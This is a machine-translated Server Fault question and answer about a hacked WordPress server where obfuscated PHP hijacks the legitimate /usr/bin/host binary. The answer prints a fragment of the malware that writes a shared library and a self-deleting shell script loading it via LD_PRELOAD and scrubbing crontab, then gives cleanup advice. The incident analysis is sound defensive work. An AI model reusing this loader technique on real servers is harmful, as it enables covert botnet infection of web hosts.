/ usr / bin / host dijalankan oleh skrip PHP yang diretas

8

Hari ini saya melihat tingkat permintaan tinggi yang tidak biasa pada server web Apache dan juga lalu lintas jaringan masuk yang cukup tinggi. Setelah memeriksa halaman mod_status Apache, saya menemukan URL yang menyinggung berasal dari path www.server.com/www/wp-includes/js/tinymce/plugins/wpautoresize/. Dan memang saya telah menemukan beberapa skrip PHP yang diretas (dikaburkan) di sana.

Juga perhatikan proses aneh yang dilakukan oleh pengguna data-www:

www-data  7300 10.8  0.1 2122900 18768 ?       Ssl  Jul11 121:47 /usr/bin/host

Memeriksa /proc/7300/cmdlinemengungkapkan bahwa memang ini adalah /usr/bin/hostbiner asli . netstat -anpmenunjukkan itu memiliki banyak koneksi HTTP terbuka, jadi entah bagaimana biner itu disalahgunakan. debsumsmengkonfirmasi checksum biner menjadi OK. Karena proses dijalankan di bawah pengguna data-www, saya tidak punya alasan untuk percaya bahwa server itu sendiri telah dikompromikan.

Bagaimana biner itu disalahgunakan?

EDIT: Pertanyaan "bagaimana menangani server yang dikompromikan" yang tidak luas ini. Alih-alih sebuah pertanyaan (dan sudah merupakan jawaban) tentang satu jenis pelecehan spesifik bagaimana hal itu dilakukan secara teknis, karena kasus khusus ini cukup kreatif dalam cara kerjanya. Tampaknya ini dalam keadaan liar selama beberapa tahun sekarang (utas lama & pertanyaan dari 2012) dan saya temui minggu ini.

Marki555
sumber
Ketika pertanyaan terkait ditutup, saya membuka yang baru dan menjawab temuan saya. serverfault.com/questions/554801/…
Marki555
kemungkinan duplikat dari Bagaimana saya berurusan dengan server yang dikompromikan?
Ward - Reinstate Monica

Jawaban:

10

Setelah menggali kode sumber skrip PHP yang tersinggung dan googling ( utas ini ), saya telah menemukan penjelasan.

Ini adalah bagian dari system.phpkode yang saya temukan:

<?php
// ...
$n = file_put_contents("./libworker.so", $so);
$AU=@$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
$HBN=basename("/usr/bin/host");
$SCP=getcwd();
@file_put_contents("1.sh", "#!/bin/sh\ncd '".$SCP."'\nif [ -f './libworker.so' ];then killall -9 $HBN;export AU='".$AU."'\nexport LD_PRELOAD=./libworker.so\n/usr/bin/host\nunset LD_PRELOAD\ncrontab -l|grep -v '1\.sh'|grep -v crontab|crontab\nfi\nrm 1.sh\nexit 0\n");
// ...

Bagaimana /usr/bin/hostterlibat sedikit lebih maju. Program menggunakan pustaka ( .sofile) untuk beberapa fungsinya. Pengguna dapat prelink ( LD_PRELOAD) beberapa file .so sebelum meluncurkan biner yang sah untuk mengubah cara kerjanya.

Seperti yang Anda lihat skrip ini membuat file libworker.sodan menggunakan LD_PRELOADvariabel lingkungan untuk memuatnya, jadi hostbiner yang sah melakukan sesuatu yang sama sekali berbeda.

Itu membuat 1.shskrip shell dan mencoba untuk mengeksekusinya dalam beberapa cara (langsung, menggunakan atperintah, menggunakan cron). Segera setelah itu menghapus skrip dan file pustaka dari disk, sehingga tidak diperhatikan.

Apa yang terjadi pada awalnya adalah bahwa beberapa plugin Wordpress yang rentan disalahgunakan dan penyerang dapat menempatkan file mereka ke direktori word-writabble.

Mitigasi berarti menganalisis file log akses lama untuk domain itu dan mencoba menemukan POSTpermintaan apa pun ke lokasi yang tidak biasa - misalnya secara langsung mengakses file PHP plugin WP / Joomla adalah tidak biasa. Kemudian hapus semua file PHP yang dikaburkan, perbaiki izin direktori, hentikan hostproses yang berjalan, dan pantau logfile untuk setiap upaya re-hacks.

EDIT: Saya mendapat info dari ESET bahwa mereka telah mendeteksi perpustakaan khusus ini dan juga versi lainnya. Perusahaan antivirus memberinya nama Roopre dan tampaknya itu digunakan sebagai bagian dari botnet Mayhem .

Analisis mendalam tentang botnet Mayhem.

Analisis mendalam tentang eksploitasi ini.

Marki555
sumber